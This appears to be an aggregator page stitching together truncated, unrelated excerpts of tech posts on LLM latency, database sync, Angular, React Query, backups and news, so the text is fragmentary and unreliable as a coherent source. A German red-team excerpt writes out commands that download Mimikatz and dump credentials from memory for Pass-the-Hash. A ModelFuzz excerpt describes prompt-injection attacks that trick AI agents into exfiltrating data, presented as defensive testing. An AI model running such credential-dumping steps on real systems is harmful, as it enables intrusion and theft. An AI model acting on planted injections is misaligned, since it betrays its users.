Patreon is laying off 20 percent of its workers, or around 93 employees, as reported earlier by 404 Media. In a memo to employees, Patreon CEO Jack Conte writes that the company isn't making these changes "because we believe AI replaces humans," but says AI has "fundamentally transformed the tech industry, including how we work, […]

If you build anything on top of hosted AI APIs, latency isn't a detail you get to ignore — it's a feature. A sluggish time-to-first-token is the difference between an assistant that feels alive and one that feels broken. Yet when I went looking for an honest answer to a simple question — how fast is provider X from where my users actually are? — I couldn't find one. The numbers people quote tend to come from a single machine in a single region (usually somewhere in the US), from vendor-reported status pages, or from a benchmark that got run once and never refreshed. There was no independent, measured , regional view. So I built one: LLM Latency Tracker , a provider-neutral tracker of latency and uptime for AI inference APIs. How it works The core idea is boring on purpose: actually measure, don't scrape. A small Python prober — standard library only, no API key needed for the edge probes — opens real connections to each provider's endpoint and times every phase of the handshake: DNS resolution → TCP connect → TLS negotiation → time-to-first-byte (TTFB) . That's the edge view: how long the network path itself takes before a single byte comes back. Separately, where possible, it measures inference time-to-first-token (TTFT) — the thing your users actually feel, i.e. how long after you hit "send" the model starts streaming. Those two numbers answer different questions, and keeping them apart matters. Edge latency is about the network and the front door; TTFT is about the model and the queue behind it. The probes run from four regions — Europe (Germany), US Central, Asia (Tokyo), and South America (São Paulo) — because "fast" is meaningless without "from where." Results land in a SQLite time-series; a static-site generator turns that into the pages you see, hosted on Cloudflare Pages, and the whole thing is self-updating on a schedule. There's no always-on backend to rot or page me at 3am. It currently covers ~45 providers — the usual Western labs (OpenAI, Anthropic, Go

MSG’s sprawling surveillance system can monitor guests down to the second. Its owners made an exception for the pop star’s rehearsal dinner.

You have a row in Postgres. You want that same row in MongoDB — not tonight in a batch job, but the instant it changes. And next month you'll want it in Redis too, and maybe POSTed to some webhook. Today that's a Kafka cluster, a Debezium connector, a sink connector, a schema registry, and a weekend. For a job that is, at its heart, one sentence: a source → one or more destinations → kept in sync. Syncle is an open-source tool that does exactly that sentence, and nothing you didn't ask for. Connect your databases, draw a bridge from a source to one or more destinations, and the moment a row changes in the source it's written to every destination you linked. Any engine to any engine — PostgreSQL · MySQL/MariaDB · SQLite · MongoDB · Redis — plus HTTP endpoints when you need them. This post is a tour of what it does and, for the curious, how it's built. The core idea: a bridge A bridge reads rows from a source and writes each one to its destinations . A destination is either: another database — the headline feature. Postgres → MongoDB, MySQL → SQLite, MongoDB → Redis. One bridge can fan out to several databases at once, and bridges can chain (A → B → C). an HTTP endpoint — POST/PUT/PATCH each row to a URL with a payload you design, for feeding a service instead of a database. The interesting part isn't that it copies data — plenty of things copy data. It's the guarantees around how . No duplicates, ever Every database write is an idempotent upsert , keyed by columns you choose. So replays, retries, and at-least-once redeliveries never double-write. Under the hood each engine does it with its own native atomic operation: Engine Upsert PostgreSQL / SQLite INSERT ... ON CONFLICT MySQL INSERT ... ON DUPLICATE KEY UPDATE MongoDB updateOne(filter, ..., { upsert: true }) Inserts, updates, and deletes all propagate — a delete routes to a keyed delete on each target. Missing table? It builds it If the destination table or collection doesn't exist, Syncle creates it from the sou

Angular 21 Module Federation: Build a Micro Frontend Workspace with One Host and Three Remotes If you're exploring Micro Frontends with Angular 21, one of the first questions you'll encounter is: "How do I set up a complete Module Federation workspace that actually works with Angular 21?" After a few iterations (and a couple of version mismatches), I successfully created a housekeeping/admin platform using Angular 21 Native Federation with: 1 Host Application 3 Remote Applications Shared routing Native Federation (esbuild) Single command startup By the end of this tutorial, you'll have the following architecture running locally: +----------------+ | host-app | | Port: 4200 | +--------+-------+ | --------------------------------------- | | | v v v +-------------+ +-------------+ +-------------+ | auth-app | | user-app | | role-app | | Port: 4201 | | Port: 4202 | | Port: 4203 | +-------------+ +-------------+ +-------------+ Project Overview This sample project represents a basic housekeeping/admin platform. Application Purpose Port host-app Shell, navigation, remote loading 4200 auth-app Login, logout, access denied 4201 user-app User management 4202 role-app Role management 4203 Host Routes /auth -> auth-app /users -> user-app /roles -> role-app Prerequisites My development environment: Angular CLI : 21.2.19 Node.js : 22.23.1 npm : 10.9.8 OS : macOS (arm64) Angular 21 works well with Native Federation. If you're starting fresh, I recommend pinning Angular CLI to version 21 to avoid compatibility issues. Step 1: Install Angular CLI 21 npm i -g @angular/cli@21 Verify: ng version Expected output: Angular CLI: 21.x Step 2: Create an Empty Workspace Instead of generating an application immediately, create an empty Angular workspace. ng new housekeeping-mf \ --create-application false \ --routing \ --style css \ --skip-git Move into the project: cd housekeeping-mf Step 3: Generate Applications Generate one host and three remotes. ng generate application host-app --routing

In my research on the topic of Azure and Cloud, Gemini mentioned the Cloud Resume Challenge , which I looked into and picked up a copy of the book for. This post will outline my steps as I work through it 😁. Week 00 :: AZ-900 The goal here is to work through necessary course-work so I can quiz for and obtain the Microsoft AZ-900 certification. I enrolled myself in the Microsoft Cloud Support Associate Professional Certificate offered by Coursera and, as I get closer to completing it, will keep this post up to date on my status... In lieu of just studying, I am jumping ahead to work on the project, which will be outlined below. Week 01 :: Cloud Resume (Front-End) 07/23/2026 Yesterday (and today) I worked on creating / securing my Azure account, setting up my environment for Azure development and building the front-end. The development environment is VS Code with the Azure Extensions, Azure CLI and Azure Functions Core Tools. The website is, in its current state, an exact replica of my PDF resume... made with Vue.js. I will be adding a separate page based solely around this project as I included Vue Router and already worked through layout components, a 404 page, etc.

Also, the full trailer for Zach Cregger's Resident Evil features a likable everyman.

Red Team Basics: Pass-the-Hash & Kerberoasting – So greifen echte Angreifer an „Manche nennen es ein Hack‑Werkzeug, ich nenne es ein Koffer voller Schlüssel.“ – Dieser provokante Gedanke brachte mich 2019 zum ersten Mal an die Grenze des Pass‑the‑Hash (PtH) . In den folgenden Jahren habe ich unzählige Pentests geleitet und dabei beobachtet, wie schnell ein einzelner Hash ein ganzes Netzwerk öffnet. In diesem Artikel zerlegen wir die beiden Klassiker — Pass‑the‑Hash und Kerberoasting — und zeigen, warum sie in echten Angriffen immer noch die ersten Optionen sind. Wir gehen nicht um den heißen Brei herum: konkrete Befehle, Schritt‑für‑Schritt‑Beispiele und meine persönliche Bewertung nach jedem Abschnitt . Was ist Pass‑the‑Hash? Pass‑the‑Hash ist kein neues Konzept, aber die meisten Defender‑Teams unterschätzen seine Power. Statt ein Passwort zu knacken, übernimmt der Angreifer lediglich den NTLM‑Hash , den das System bereits hat, und authentifiziert sich damit gegenüber anderen Hosts. Beispiel 1 – Mimikatz nutzen, um einen Hash zu extrahieren # Auf dem kompromittierten Windows‑Host type C: \W indows \S ystem32 \c md.exe # Mimikatz herunterladen (nur zu Demonstrationszwecken) Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" -OutFile "mimikatz.zip" Expand-Archive mimikatz.zip -DestinationPath . # Im Mimikatz‑Prompt den Hash aus dem Speicher auslesen mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords Die Ausgabe liefert Zeilen wie: Authentication Id : 0x3e8 (1000) User Name : admin Domain : CORP Logon Server : \DC01 NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0 Der NTLM‑Hash 31d6cfe0… ist jetzt unser Ticket. Bewertung Ich habe das schon in unzähligen Projekten gesehen – sobald ein Administrator-Account auf einem Workstation-Host läuft, ist er ein Goldgräber. Der entscheidende Punkt ist, dass kein Brute‑Force nötig ist. Der Hash ist bereits valide, weil das System ihn selbst ausgibt. Kerberoasting verstehen

1. Introduction: What is TanStack Query? TanStack Query (formerly React Query) is a framework-agnostic state management library designed specifically to manage Server State —handling data fetching, caching, background updating, and cache invalidation. 2. Server State vs. Client State & The Memory Reality Client State: Owned and controlled entirely by the browser (e.g., isModalOpen , selected UI theme). Server State: Owned by the remote backend database (e.g., user profiles, posts, cart items). The browser only holds a read-only temporary snapshot . Where is data physically stored? Physical Location: By default, cached data lives strictly in the browser tab's JavaScript RAM (In-Memory) . Backend ("The Server"): Refers to your remote API/database (regardless of whether it runs on Kubernetes, Docker containers, serverless functions, or bare metal). Optional Persistence: You can opt to sync this RAM cache to localStorage , sessionStorage , or IndexedDB using TanStack Query Persisters. import React , { useState } from ' react ' ; import { QueryClient , QueryClientProvider , useQuery , useMutation , useQueryClient , } from ' @tanstack/react-query ' ; // 1. Initialize QueryClient (manages the RAM cache) const queryClient = new QueryClient ({ defaultOptions : { queries : { staleTime : 10000 , // Data stays fresh in RAM for 10 seconds }, }, }); // Mock API functions async function fetchPost ( postId ) { const res = await fetch ( `[https://jsonplaceholder.typicode.com/posts/$](https://jsonplaceholder.typicode.com/posts/$){postId}` ); if ( ! res . ok ) throw new Error ( ' Network error ' ); return res . json (); } async function createPost ( newPost ) { const res = await fetch ( ' [https://jsonplaceholder.typicode.com/posts](https://jsonplaceholder.typicode.com/posts) ' , { method : ' POST ' , headers : { ' Content-Type ' : ' application/json ' }, body : JSON . stringify ( newPost ), }); return res . json (); } // 2.

I've been building AI agents lately, and honestly, their security model terrifies me. We give LLMs access to powerful tools like shell.run , http.post , and fs.read . But if an agent reads a malicious email or a poisoned webpage, it can be tricked by prompt injection into using those tools to exfiltrate data. Hoping the LLM refuses the attack isn't a real security strategy. So, I built ModelFuzz. It's an open-source Python library that intercepts the tool call at the execution layer. The defense: @shield_tool Instead of trying to filter prompts, ModelFuzz checks the arguments before the tool runs. If it detects a policy violation, like a stolen API key or an unsafe URL, the tool simply doesn't execute. from modelfuzz import shield_tool @shield_tool def send_email ( to_address : str , subject : str , body : str ) -> None : smtp . send ( to_address , subject , body ) Even if the LLM is completely tricked by a prompt injection, the tool never fires. The offense: modelfuzz scan I also built a CLI scanner that red-teams your agent. It fires deceptive prompt injection attacks at your local model to see if it can be tricked into calling a tool. modelfuzz scan --endpoint http://localhost:11434/v1 --model qwen2.5:1.5b I tested it against a local qwen2.5:1.5b model, and it got breached 4 out of 5 times. Try it out It's 100% open source and live on PyPI. pip install "modelfuzz[scan]" GitHub: higagan/modelfuzz Website: modelfuzz.com I'd love to know what security policies you think are missing, or what agent frameworks you want supported next!

Un análisis técnico basado en BorgBackup para entornos Debian/Ubuntu Autor: Arcadio Ortega Reinoso Versión del sistema: 2.1.0 Fecha: Julio 2026 Plataforma objetivo: Debian 11+ / Ubuntu 22.04+ (x86_64) Puedes encontrarlo en: BorgShield Fortalezas Diferenciales Valor Diferencial Claro: La inclusión de 23 tipos de metadatos (repositorios git, dconf, claves GPG, snaps, flatpaks, etc.) resuelve el problema de tener los archivos pero no saber cómo reconstruir el entorno. No es solo "tus datos están a salvo", es "sabemos exactamente qué tenías y cómo volver a dejarlo igual". Restauración Semántica: test-restore va más allá de borg check . Mientras que otras herramientas solo verifican checksums (integridad técnica), nosotros verificamos si los datos son realmente legibles y útiles (integridad semántica): ¿el SQL de las BBDD se puede leer? ¿los paquetes están en formato válido? ¿las rutas esenciales existen? ¿los gzips no están corruptos? Asistente Guiado: restore-full y restore-dry-run forman un sistema de dos velocidades: simular antes de ejecutar, y guiar paso a paso durante la ejecución real. Esto reduce significativamente el "pánico" durante un desastre real, guiando incluso en la reinstalación de paquetes y fuentes APT. Resumen Este documento presenta el diseño, la implementación y la evaluación de backup.sh , un sistema de backup para Linux orientado a disco externo local. El sistema se basa en BorgBackup como motor de almacenamiento deduplicado, cifrado y comprimido. Se analizan las alternativas existentes (rsync, rsnapshot, restic), se justifican las decisiones de diseño y se presentan proyecciones de rendimiento basadas en métricas obtenidas de un sistema real con ~360 GB de datos, ~3200 paquetes instalados y ~460 paquetes instalados manualmente. Los resultados muestran que BorgBackup reduce el espacio de almacenamiento del backup completo a ~160 GB (55% de compresión con deduplicación), los backups incrementales se completan en 3-8 minutos, y el sistema permite r
